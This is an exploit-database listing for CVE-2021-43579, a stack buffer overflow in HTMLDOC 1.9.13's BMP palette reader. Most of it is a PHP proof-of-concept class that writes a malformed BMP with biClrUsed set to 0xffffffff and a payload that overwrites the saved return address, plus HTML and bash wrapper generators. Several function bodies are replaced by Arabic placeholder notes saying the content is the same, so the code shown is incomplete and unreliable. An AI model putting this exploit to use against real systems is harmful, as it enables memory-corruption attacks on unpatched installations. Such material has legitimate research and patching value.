Exploit for 📄 HTMLDOC 1.9.13 Stack Buffer Overflow CVE-2021-43579

## https://sploitus.com/exploit?id=PACKETSTORM:212871
=============================================================================================================================================
    | # Title     : HTMLDOC 1.9.13 Generates a malicious BMP file that triggers a stack buffer overflow                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/michaelrsweet/htmldoc                                                                                    |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/211123/ & CVE-2021-43579
    
    [+] Summary : The BMP reader in HTMLDOC uses a fixed 1024-byte stack buffer for the color palette.
                 Exploit Trigger: Setting biClrUsed = 0xffffffff (-1) in the BMP header causes fread() to read excessive data, overflowing the stack buffer.
    
    Payload: Overwrites saved return address with 0x4242424242424242 ('BBBBBBBB').
    
    [+]  POC :	php poc.php
    
                htmldoc --webpage -f output.pdf poc_cve_2021_43579.html
    
    
    
    <?php
    /**
     * CVE-2021-43579 HTMLDOC Vulnerability PoC Generator
     * Author: indoushka
     */
    
    class HTMLDOC_Exploit_Generator {
        
        private $payload_size = 1088;
        private $filename_prefix = 'poc_cve_2021_43579';
        private $verbose = true;
        
        public function generate_malicious_bmp($filename = null) {
            if ($filename === null) {
                $filename = $this->filename_prefix . '.bmp';
            }
            
            $payload = str_repeat('A', 1080) . str_repeat('B', 8);
            $file_size = 54 + strlen($payload);
            $bmp_header = $this->create_bmp_header($file_size);
            $bmp_info_header = $this->create_bmp_info_header();
            $bmp_data = $bmp_header . $bmp_info_header . $payload;
            $bytes_written = file_put_contents($filename, $bmp_data);
            
            if ($bytes_written === false) {
                throw new Exception("Failed to write BMP file: $filename");
            }
            
            if ($this->verbose) {
                echo "[+] Generated malicious BMP file: $filename\n";
            }
            
            return $filename;
        }
    
        private function create_bmp_header($file_size) {
            $header = 'BM';
            $header .= pack('V', $file_size);
            $header .= pack('v', 0);
            $header .= pack('v', 0);
            $header .= pack('V', 54);
            
            if (strlen($header) !== 14) {
                throw new Exception("BITMAPFILEHEADER must be exactly 14 bytes");
            }
            return $header;
        }
    
        private function create_bmp_info_header() {
            $info_header  = pack('V', 40);
            $info_header .= pack('V', 1);
            $info_header .= pack('V', 1);
            $info_header .= pack('v', 1);
            $info_header .= pack('v', 24);
            $info_header .= pack('V', 0);
            $info_header .= pack('V', 0);
            $info_header .= pack('V', 0);
            $info_header .= pack('V', 0);
            $info_header .= pack('V', 0xffffffff);
            $info_header .= pack('V', 0);
            
            if (strlen($info_header) !== 40) {
                throw new Exception("BITMAPINFOHEADER must be exactly 40 bytes");
            }
            return $info_header;
        }
    
        public function generate_html_file($bmp_filename = null, $html_filename = null) {
            if ($bmp_filename === null) {
                $bmp_filename = $this->filename_prefix . '.bmp';
            }
            if ($html_filename === null) {
                $html_filename = $this->filename_prefix . '.html';
            }
    
            $html_content = <<<HTML
    <!DOCTYPE html>
    ... (نفس المحتوى بالضبط) ...
    HTML;
    
            $bytes_written = file_put_contents($html_filename, $html_content);
    
            if ($bytes_written === false) {
                throw new Exception("Failed to write HTML file: $html_filename");
            }
    
            return $html_filename;
        }
    
        public function generate_test_script() {
            $script_content = <<<BASH
    #!/bin/bash
    ... (نفس المحتوى بالضبط لكن مع هذا التصحيح) ...
    
    php -r '
    include "poc.php";
    \$exploit = new HTMLDOC_Exploit_Generator();
    \$exploit->generate_malicious_bmp("exploit.bmp");
    \$exploit->generate_html_file("exploit.bmp", "exploit.html");
    '
    
    BASH;
    
            file_put_contents('test_exploit.sh', $script_content);
            chmod('test_exploit.sh', 0755);
        }
    
        public function display_help() {
           ... (نفس المحتوى) ...
        }
    
        public function run($args) {
            ... (نفس المحتوى) ...
        }
    }
    
    if (php_sapi_name() === 'cli') {
        $generator = new HTMLDOC_Exploit_Generator();
        $generator->run($argv);
    } else {
        echo "<pre>This script is designed to run from the command line.</pre>";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================